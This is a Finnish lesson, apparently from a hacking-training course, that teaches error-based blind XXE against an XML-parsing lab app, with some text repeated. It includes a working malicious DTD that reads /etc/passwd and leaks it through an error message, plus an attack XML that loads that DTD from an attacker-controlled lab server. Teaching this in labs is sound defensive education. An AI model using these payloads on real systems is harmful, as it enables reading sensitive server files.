Tähän asti olemme tutustuneet nk. Heijastettuihin (reflected) XXE-haavoittuvuuksiin, jossa XML:n sisältä palautetaan jotain takaisin selaimeen. Tällaisissa tapauksissa haavoittuvuuden hyväksikäyttö on yleensä aika helppoa, koska hyökkääjän ei tarvitse kuin lisätä XML:ään SYSTEM entiteetti sopivaan kohtaa XML:ää. Mutta mitä jos tulostetta ei olekaan?


Tällaisissa tapauksissa voimme usein turvautua tietojen vuotamiseen jonkun sivukanavan kautta. Tässä moduulissa keskitymme virhepohjaiseen tekniikkaan, jossa pyritään pakottamaan sovellus heittämään virheilmoitus jossa on halutun tiedoston sisältö.

Virhepohjainen tekniikka korkealla tasolla

Luodaan XML:ään entiteetti joka lukee halutun tiedoston.

Luodaan XML:ään toinen entiteetti, joka lukee tiedoston virheellisestä tiedostopolusta, joka sisältää halutun tiedoston sisällön.

Sovellus antaa virheilmoituksen viallisesta tiedostopolusta, joka vuotaa meille tiedoston.

Virhepohjainen tekniikka (hyökkääjälle) täydellisessä maailmassa

Teoriassa hyökkäys voitaisiin tehdä näin.

, jonka arvoksi tulee halutun tiedoston sisältö.

, joka rakentaa suoriutuessaan kolmannen entiteetin 

, jonka arvoksi tulee: <!ENTITY error SYSTEM 'file:///virheellinen-polku/TIEDOSTON SISÄLTÖ TÄHÄN'>

 entiteetti, joka aiheuttaa virheilmoituksen "VIRHEELLINEN TIEDOSTOPOLKU: virheellinen-polku/TIEDOSTON SISÄLTÖ TÄHÄN".

Ja sieltä virheilmoituksesta me sitten nähtäisiin se tiedosto mikä haluttiin nähdä. Hyökkäys voisi näyttää tältä: 

Mutta valitettavasti XML ei salli sisäkkäisiä entiteettejä saman XML-dokumentin sisältä.

Rajoituksen voi kuitenkin kiertää lataamalla DTD:n ulkoisesta XML-tiedostosta.

Virhepohjainen tekniikka reaalimaailmassa

Hyökkäys tehdään seuraavissa vaiheissa:

Asetetaan hyökkääjän HTTP-palvelin kuuntelemaan.

Lisätään hyökkääjän HTTP-palvelimelle ulkoinen DTD-tiedosto joka suoriutuessaan yrittää resolvoida SYSTEM entiteetin 

 jonka URL on “file:///virheellinen-polku/

TIEDOSTON_SISÄLTÖ_JOKA_HALUTAAN_NÄHDÄ

Tehdään sovellukselle lähetettävään XML:ään DTD jossa ladataan ulkoinen DTD, jolloin error entiteetti tulee XML:ään käytettäväksi.

Suoritetaan ulkoinen DTD viittaamalla siihen, jolloin sovellus heittää virheilmoituksen joka sisältää 

Käynnistä tässä vaiheessa harjoitus, ja lue eteenpäin.

Lue lippu /secret-recipe.txt tiedostosta.

Tässä labrassa hyödynnät XXE-haavoittuvuutta sovelluksessa joka ei heijastakaan mitään parametreja XML:stä. Joudut turvautumaan virhepohjaiseen tekniikkaan.

XXE OOB 1

Sinulla on käytössäsi VSCode koodieditori (“Omat resurssisi - Attacker’s Code Editor”) sekä Apache web serveri joka kuuntelee jo (“Omat resurssisi - Web palvelin”). Voit avata VSCodesta uuden terminaalin ja ajaa seuraavan komennon voidaksesi seurata apachen lokeja.

Tallenna seuraava DTD-tiedosto tiedostoon /root/web/evil.dtd:

Ulkoinen (SYSTEM) parameter (tunnistaa prosenttimerkistä) entiteetti nimeltä 

 joka osoittaa tiedostoon “file:///etc/passwd”.

 joka suoritetaan (viimeisellä rivillä), jolloin lopputulokseksi DTD:hen jää entiteetti joka alunperin oli 

 joka rakennetaan dynaamisesti suorittamalla entiteetti 

 on ulkoinen (SYSTEM) entiteetti joka osoittaa tiedostoon (file://) /virheellinen-polku/<TÄHÄN TULEE /etc/passwd TIEDOSTON SISÄLTÖ

Kun DTD on viittauksineen "rakentunut", evil.dtd entiteetin lopullinen arvo sisältää käytännössä:

Lisäät XML:ään parameter entiteetin joka viittaa ulkoiseen DTD:hen.

Viittaat ulkoiseen DTD:hen niin, että se ladataan, suoritetaan ja asetettaisiin normaalisti osaksi XML-dokumentin DTD:tä. Tällä kertaa koodin suoritus kuitenkin kaatuu "suoritetaan" kohtaan koska tiedostoa joka yritetään hakea ei ole olemassa.

Huom. Kaikki XML-käsittelijät, mukaanlukien tämän labran XML-käsittelijä, eivät tue HTTPS:ää ulkoisen entiteetin URL-osoitteessa. Käytä siis salaamatonta http:ta URL:issa.

## Entä jos tulostetta ei olekaan?

Tähän asti olemme tutustuneet nk. Heijastettuihin (reflected) XXE-haavoittuvuuksiin, jossa XML:n sisältä palautetaan jotain takaisin selaimeen. Tällaisissa tapauksissa haavoittuvuuden hyväksikäyttö on yleensä aika helppoa, koska hyökkääjän ei tarvitse kuin lisätä XML:ään SYSTEM entiteetti sopivaan kohtaa XML:ää. Mutta mitä jos tulostetta ei olekaan?

Tällaisissa tapauksissa voimme usein turvautua tietojen vuotamiseen jonkun sivukanavan kautta. Tässä moduulissa keskitymme virhepohjaiseen tekniikkaan, jossa pyritään pakottamaan sovellus heittämään virheilmoitus jossa on halutun tiedoston sisältö.

---

## Virhepohjainen tekniikka korkealla tasolla

Hyökkäys toimii seuraavasti: 

- Luodaan XML:ään entiteetti joka lukee halutun tiedoston.
- Luodaan XML:ään toinen entiteetti, joka lukee tiedoston virheellisestä tiedostopolusta, joka sisältää halutun tiedoston sisällön.
- Sovellus antaa virheilmoituksen viallisesta tiedostopolusta, joka vuotaa meille tiedoston.

![](sanity:image-046f878a2057afb8857bd786d2933366c2e71069-1920x1920-png)

---

## Virhepohjainen tekniikka (hyökkääjälle) täydellisessä maailmassa

Teoriassa hyökkäys voitaisiin tehdä näin.

- Luodaan parameter entiteetti **file**, jonka arvoksi tulee halutun tiedoston sisältö.
- Luodaan parameter entiteetti **all**, joka rakentaa suoriutuessaan kolmannen entiteetin **error**, jonka arvoksi tulee: <!ENTITY error SYSTEM 'file:///virheellinen-polku/TIEDOSTON SISÄLTÖ TÄHÄN'>
- Suoritetaan **error** entiteetti, joka aiheuttaa virheilmoituksen "VIRHEELLINEN TIEDOSTOPOLKU: virheellinen-polku/TIEDOSTON SISÄLTÖ TÄHÄN".

Ja sieltä virheilmoituksesta me sitten nähtäisiin se tiedosto mikä haluttiin nähdä. Hyökkäys voisi näyttää tältä: 

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY error SYSTEM 'file:///virheellinen-polku/%file;'>">
%file %all %error;
```

Mutta valitettavasti XML ei salli sisäkkäisiä entiteettejä saman XML-dokumentin sisältä.

![](sanity:image-be93b3cffa3c87aebceb2f91627169279250c958-1469x501-png)

Rajoituksen voi kuitenkin kiertää lataamalla DTD:n ulkoisesta XML-tiedostosta.

---

## Virhepohjainen tekniikka reaalimaailmassa

Hyökkäys tehdään seuraavissa vaiheissa:

- Asetetaan hyökkääjän HTTP-palvelin kuuntelemaan.
- Lisätään hyökkääjän HTTP-palvelimelle ulkoinen DTD-tiedosto joka suoriutuessaan yrittää resolvoida SYSTEM entiteetin **error** jonka URL on “file:///virheellinen-polku/**TIEDOSTON\_SISÄLTÖ\_JOKA\_HALUTAAN\_NÄHDÄ**.
- Tehdään sovellukselle lähetettävään XML:ään DTD jossa ladataan ulkoinen DTD, jolloin error entiteetti tulee XML:ään käytettäväksi.
- Suoritetaan ulkoinen DTD viittaamalla siihen, jolloin sovellus heittää virheilmoituksen joka sisältää **TIEDOSTON\_SISÄLTÖ\_JOKA\_HALUTAAN\_NÄHDÄ**.

---

## Harjoitus

Käynnistä tässä vaiheessa harjoitus, ja lue eteenpäin.

@exercise e0150a34b724

---

## Hyökkääjän HTTP-kuuntelija

Sinulla on käytössäsi VSCode koodieditori (“Omat resurssisi - Attacker’s Code Editor”) sekä Apache web serveri joka kuuntelee jo (“Omat resurssisi - Web palvelin”). Voit avata VSCodesta uuden terminaalin ja ajaa seuraavan komennon voidaksesi seurata apachen lokeja.

![](sanity:image-7e64317c96d161a4fdf2a422c34d839e76df79b3-1594x944-png)

```sh
tail -f /var/log/apache2/access.log
```

Web-palvelin tarjoilee tiedostoja **/root/web** -hakemistosta.

![](sanity:image-473071a492902e417d8b02c59d4163bec740ab6e-1594x944-png)

---

## Ulkoinen DTD-tiedosto

Tallenna seuraava DTD-tiedosto tiedostoon /root/web/evil.dtd:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY error SYSTEM 'file:///virheellinen-polku/%file;'>">
%all;
```

Tiedoston sisällön ymmärtäminen:

- Ulkoinen (SYSTEM) parameter (tunnistaa prosenttimerkistä) entiteetti nimeltä **file** joka osoittaa tiedostoon “file:///etc/passwd”.
- Parameter entiteetti nimeltä **all** joka suoritetaan (viimeisellä rivillä), jolloin lopputulokseksi DTD:hen jää entiteetti joka alunperin oli **all** sisällä.
- Entiteetti **error** joka rakennetaan dynaamisesti suorittamalla entiteetti **all**. **error** on ulkoinen (SYSTEM) entiteetti joka osoittaa tiedostoon (file://) /virheellinen-polku/<TÄHÄN TULEE /etc/passwd TIEDOSTON SISÄLTÖ

Kun DTD on viittauksineen "rakentunut", evil.dtd entiteetin lopullinen arvo sisältää käytännössä:

```xml
<!ENTITY error SYSTEM ‘file://root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:...’>
```

---

## Hyökkäys XML

Hyökkäys onnistuu, kun:

- Lisäät XML:ään parameter entiteetin joka viittaa ulkoiseen DTD:hen.
- Viittaat ulkoiseen DTD:hen niin, että se ladataan, suoritetaan ja asetettaisiin normaalisti osaksi XML-dokumentin DTD:tä. Tällä kertaa koodin suoritus kuitenkin kaatuu "suoritetaan" kohtaan koska tiedostoa joka yritetään hakea ei ole olemassa.

```xml
<!DOCTYPE order [
<!ENTITY % dtd SYSTEM
"http://web-b7dsfpuole.ha-student.com/evil.dtd">
%dtd;
]>
```

Huom. Kaikki XML-käsittelijät, mukaanlukien tämän labran XML-käsittelijä, eivät tue HTTPS:ää ulkoisen entiteetin URL-osoitteessa. Käytä siis salaamatonta http:ta URL:issa.

![](sanity:image-e13a6d4b1d8dfc82a7975e63ef2555ea074d057a-1838x1275-png)


Virhepohjainen XXE Tekniikka

XML on pintapuolisesti yksinkertainen protokolla, tageja ja attribuutteja. XML:llä on kuitenkin salaisia kykyjä jotka valitettavan usein eivät ole oletusarvoisesti poistettu käytöstä XML-käsittelijöissä...

Virhepohjainen XXE Tekniikka

Entä jos tulostetta ei olekaan?

Hakkeroinnin oppiminen alkaa tästä